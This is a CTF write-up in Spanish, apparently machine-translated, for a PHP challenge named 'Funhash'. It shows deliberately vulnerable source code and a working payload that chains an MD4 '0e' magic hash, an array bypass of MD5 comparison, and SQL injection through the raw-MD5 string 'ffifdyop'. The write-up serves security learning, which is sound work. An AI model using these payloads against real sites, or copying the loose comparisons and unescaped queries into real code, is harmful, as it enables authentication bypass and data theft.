[La cuarta copa de red fuerte]: Funhash

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    
    
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    
    
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();


?>

Tres derivaciones: una es omitir md4, la otra es omitir md5 y la tercera es omitir la inyección sql.

1.md4 bypass

if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    
    
    die('level 1 failed');
}

Si \$_GET["hash1"] != hash("md4", \$_GET["hash1"]), salga del guión, lo que significa que \$_GET["hash1"]usted tiene ==hash("md4",$_GET["hash1"])a la derivación del primer nivel.
Aquí pasó mucho, mucho tiempo, el equipo no estaba presente en el pasado, hasta que sus compañeros de equipo encontraron un artículo: https://medium.com/@Asm0d3us/part-1-php-tricks-in-web-ctf-challenges-e1981475b3e4
solamente Creo que se puede pasar por alto con el método de cálculo científico, es decir, para encontrar un texto plano que comience con un método de cálculo científico 0e, y luego su cifrado también sea 0e seguido de números. Esta es la comparación en forma de notación científica. Debido a que es una comparación de tipo débil, se puede omitir;
texto plano y texto cifrado que cumplen las condiciones:

texto sin formato: 0e001233333333333334557778889
hash md4: 0e434041524824285414215559233446

?hash1=0e001233333333333334557778889

Inserte la descripción de la imagen aquí
Esto pasa por alto el nivel 1.


2.md5 se pasa por alto relativamente

if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    
    
    die('level 2 failed');
}

Comparación de tipo fuerte md5, aquí se puede omitir pasando la matriz directamente

?hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=2

Inserte la descripción de la imagen aquí

3.Inyección SQL bypass md5

$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();

La contraseña es encriptada por md5 y luego empalmada directamente, y ffifdyopdespués de md5 ($ contraseña, verdadero), el resultado es 'o'6 ] ! R, b.
Sentencia sql de ejecución de empalme:

$query="SELECT * FROM flag WHERE password = ' ' or '<xxx>'";

https://blog.csdn.net/sinat_41380394/article/details/81490193

La carga útil final es la siguiente:

?hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=2&hash4=ffifdyop

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/qq_36618918/article/details/108197154
Recomendado
Clasificación